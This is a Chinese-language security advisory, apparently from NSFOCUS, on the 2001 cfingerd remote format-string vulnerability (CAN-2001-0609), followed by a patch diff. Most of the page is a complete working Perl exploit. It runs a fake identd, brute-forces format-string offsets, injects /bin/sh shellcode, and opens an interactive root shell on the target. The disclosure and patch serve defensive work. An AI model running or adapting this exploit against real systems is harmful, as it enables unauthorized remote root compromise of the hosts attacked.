安全研究
安全漏洞
cfingerd 远程格式串漏洞
发布日期:2001-04-19
更新日期:2001-04-19
受影响系统:
描述:
Infodrom cfingerd 1.4.3
Infodrom cfingerd 1.4.2
Infodrom cfingerd 1.4.1
+ Debian Linux 2.2r2
+ Debian Linux 2.2r1
+ Debian Linux 2.2
Infodrom cfingerd 1.4.0
BUGTRAQ ID: 2576
CVE(CAN) ID: CAN-2001-0609
在cfingerd的日志记录程序中存在一个格式串漏洞,允许远程用户获取root权限。
cfingerd会查询和记录请求此服务的远程用户的用户名。如果攻击者设置在远程
主机上设置一个虚假的indentd服务程序以返回一个格式化字符串作为用户名,
他就可以利用这个格式串漏洞来进行攻击。由于cfingerd通常是以root身份运行,
因此攻击者可能远程获取对被攻击主机的控制权限。
有问题的代码部分在main.c 第245,258和268行:
syslog(LOG_NOTICE, (char *) syslog_str);
这里的syslog_str是攻击者可以控制的。利用代码中一个未中断的缓冲区,攻击
者可以将定制的代码传送给syslog.
<*来源:Megyer Laszlo (Lez) (abulla@freemail.hu) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Megyer Laszlo (Lez) (abulla@freemail.hu)提供了下列测试代码:
#!/usr/bin/perl
# Cfingerd exploit to the recent syslog format bug.
# Discovered and written by Lez <abullah@freemail.hu> in 2001.
# you have to use it as root to bind port 113.
# tested on Debian 2.1, 2.2
use IO::Socket;
#use strict;
my $network_timeout=5;
my $sleep_between_fingers=2; # should be enough
my $debug_sleep=0;
my $fingerport=79;
my $target=$ARGV[0];
my $debug=1;
my $test_vulnerability=1;
# Debian 2.2, cfingerd 1.4.1-1
#my $control=33; # if don't set it, exploit will find.
#my $align=0; # the same
#$retaddr=0xbffffab0;
# my $retaddr=0xbffff880; # the same
#$retaddr=0xbffff840;
my $retvalue=0xbffff980; # If it finds everything correctly, and says Shell lunched, but
# you can't find your uid 0, decrease $retvalue by 30.
my $bytes_written=32;
#$control=17;
#$align=0;
#$retaddr=0xbffffb80; #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
#$retvalue=0xbffffc20;
#$bytes_written=32;
# GOOD:
my $startsig11=0xbffffbfc;
my $endsig11= 0xbffff000;
my $controlstart=45;
my $controlend=1;
my $fclient;
my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#59 bytes
if (!$target) {print "Usage: $0 target\n";exit}
# Starting fake identd
my $identd = IO::Socket::INET->new(
Listen => 5,
LocalPort => 113,
Proto => 'tcp',
Reuse => 3) or die "Cannot listen to port 113: $!\n";
if ($test_vulnerability) {&testvuln}
if (!$control) { &get_control_and_align }
else {print "Alignment: $align\nControl: $control\n" }
if (!$retaddr) {
&find_and_exploit_sigsegv_values
}
else {
printf "Using provided RET address: 0x%x\n",$retaddr;
&exploit ($retaddr, $retvalue);
}
exit;
sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
# a bit tricky
my $text_to_send=$_[0];
$text_to_send =~ s/^\ /\ \ /;
my ($last_119, $gotback);
$fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
print $fclient "e\n"; # e is the username we query.
my $ident_client = $identd-> accept;
my $tmp=<$ident_client>;
my $first_64= substr($text_to_send, 0, 64);
if (length($text_to_send) > 64) {
$last_119= substr($text_to_send,64);
}
sleep $debug_sleep;
print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
# in rfc query function
# to send longer lines.
close $ident_client;
eval {
local $SIG{ALRM} = sub { die "alarm\n"};
alarm ($network_timeout);
$gotback= <$fclient>;
alarm 0;
};
if ($@) {
die unless $@ eq "alarm\n";
&shell;
}
if ($gotback =~ /SIGSEGV/i) {
if ($debug == 2) {print "Sending $first_64$last_119: SIGSEGV\n";}
elsif ($debug == 1) {system ("echo -n \"*\"");}
sleep ($sleep_between_fingers);
return 1;
} elsif ($gotback =~ /SIGILL/i) {
if ($debug == 2) {print "Sending $first_64$last_119: SIGILL\n";}
elsif ($debug == 1) {system ("echo -n +");}
print "Got signal \"Illegal instruction\".\nThe ret address is not correct\n";
sleep ($sleep_between_fingers);
return 1;
} else {
if ($debug == 2) {print "Sending $first_64$last_119\n";}
elsif ($debug == 1) {system ("echo -n .");}
sleep ($sleep_between_fingers);
return 0;
}
}
sub get_control_and_align {
for ($control=$controlstart; $control >= $controlend; $control--) {
for ($align=3; $align>=0; $align--) {
my $s1= "A"x$align . "\x79\xff\xff\xbe" . "%" . $control . "\$n";
my $s2= "A"x$align . "\x79\xff\xff\xbf" . "%" . $control . "\$n";
if (sendthisone($s1) > sendthisone ($s2)) {
print "\nControl: $control\nAlign: $align\n";
return;
}
}
}
die "Could not find control and alignment values\n";
}
sub find_and_exploit_sigsegv_values {
my ($sendbuf, @back, $addy, $retaddr, $save);
print "Searching for eip addresses...\n";
for ($addy=$startsig11; $addy >= $endsig11; $addy -=4) {
$sendbuf = "a"x$align . pack "cccc",$addy,$addy>>8,$addy>>16,$addy>>24;
$sendbuf .= "%" . $control . "\$n";
if ($addy%0x100) {
if (sendthisone($sendbuf)) {
&exploit ($addy, $retvalue); # otgpdvt, I'm so lazy
&exploit ($addy, $retvalue-60);
&exploit ($addy, $retvalue+60);
&exploit ($addy, $retvalue-120);
&exploit ($addy, $retvalue+120);
&exploit ($addy, $retvalue-180);
&exploit ($addy, $retvalue+180);
&exploit ($addy, $retvalue-240);
&exploit ($addy, $retvalue+240);
&exploit ($addy, $retvalue-300);
&exploit ($addy, $retvalue+300);
&exploit ($addy, $retvalue-360);
&exploit ($addy, $retvalue+360);
&exploit ($addy, $retvalue-420);
&exploit ($addy, $retvalue+420);
}
}
}
}
sub exploit {
my $addy=$_[0];
my $value=$_[1];
my $sendbuf;
printf "\nExploiting 0x%x, ret:0x%x.\n",$addy,$value;
$sendbuf = "Z"x$align;
$sendbuf .= &add_four_addresses($addy);
$sendbuf .= &add_format_strings($value);
$sendbuf .= "\x90"x (182-length($sendbuf)-length($shellcode));
$sendbuf .= $shellcode;
&sendthisone ($sendbuf);
}
sub add_four_addresses {
my $addy=$_[0];
my ($back, $i);
for ($i=0; $i<=3; $i++) {
$back .= pack "cccc",
($addy+$i),
($addy+$i)>>8,
($addy+$i)>>16,
($addy+$i)>>24;
}
return $back;
}
sub add_format_strings {
my ($back, $i, @a, $xvalue, $nvalue, $back);
my $ret=$_[0];
$a[0]=$ret%0x100-$bytes_written;
for ($i=1; $i<=3; $i++) {
$a[$i]= ($ret >> (8*$i) )%0x100 - ($ret >> (8*($i-1)) )%0x100;
}
for ($i=0; $i<=3; $i++) {
$xvalue= &positive($a[$i]);
$nvalue= $control+$i;
if ($xvalue <=8) {
$back .= "A"x$xvalue . "%".$nvalue."\$n";
} else {
$back .= "%0".$xvalue."x" . "%".$nvalue."\$n";
}
}
return $back;
}
sub positive {
my $number=$_[0];
while ($number < 0) {
$number += 0x100;
}
return $number;
}
sub shell {
my ($cucc, $msg);
print "Shell launched\n";
print $fclient "id\n";
print &my_line(1);
while (1) {
$cucc=<STDIN>;
print $fclient $cucc;
while ($msg=&my_line(1)) {
print $msg;
}
}
}
sub my_line {
my $msg;
eval {
local $SIG{ALRM} = sub { die "\n"};
alarm ($_[0]);
if ($msg=<$fclient>) {
alarm (0);
return $msg;
}
};
}
sub testvuln {
if ($debug) {print "Testing if fingerd is vulnerable... "}
if (&sendthisone ("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n")) {
print "Yes.\n";
return;
} else {
print "No.\n";
exit;
}
}
建议:
临时解决方法:
漏洞发现者提供了一个临时的补丁:
--- cfingerd-1.4.3/src/main.c.orig Fri Aug 6 23:33:38 1999
+++ cfingerd-1.4.3/src/main.c Wed Apr 11 18:55:43 2001
@@ -242,7 +242,7 @@
if (!emulated) {
snprintf(syslog_str, sizeof(syslog_str), "%s fingered (internal) from %s", username,
ident_user);
- syslog(LOG_NOTICE, (char *) syslog_str);
+ syslog(LOG_NOTICE, "%s", (char *) syslog_str);
}
handle_internal(username);
@@ -255,7 +255,7 @@
snprintf(syslog_str, sizeof(syslog_str), "%s fingered from %s",
prog_config.p_strings[D_ROOT_FINGER], ident_user);
- syslog(LOG_NOTICE, (char *) syslog_str);
+ syslog(LOG_NOTICE, "%s", (char *) syslog_str);
}
handle_standard(username);
@@ -265,7 +265,7 @@
snprintf(syslog_str, sizeof(syslog_str), "%s %s from %s", username,
prog_config.p_strings[D_FAKE_USER], ident_user);
- syslog(LOG_NOTICE, (char *) syslog_str);
+ syslog(LOG_NOTICE, "%s", (char *) syslog_str);
}
handle_fakeuser(username);
--- cfingerd-1.4.3/src/rfc1413.c.orig Sun Aug 29 14:14:25 1999
+++ cfingerd-1.4.3/src/rfc1413.c Wed Apr 11 18:53:45 2001
@@ -98,7 +98,7 @@
if (*(++cp) == ' ') cp++;
memset(uname, 0, sizeof(uname));
- for (xp=uname; *cp != '\0' && *cp!='\r'&&*cp!='\n'&&strlen(uname)<sizeof(uname); cp++)
+ for (xp=uname; *cp != '\0' && *cp!='\r'&&*cp!='\n'&&(strlen(uname)+1)<sizeof(uname); cp++)
*(xp++) = *cp;
if (!strlen(uname)) {
厂商补丁:
暂无
浏览次数:5315
严重程度:0(网友投票)
绿盟科技给您安全的保障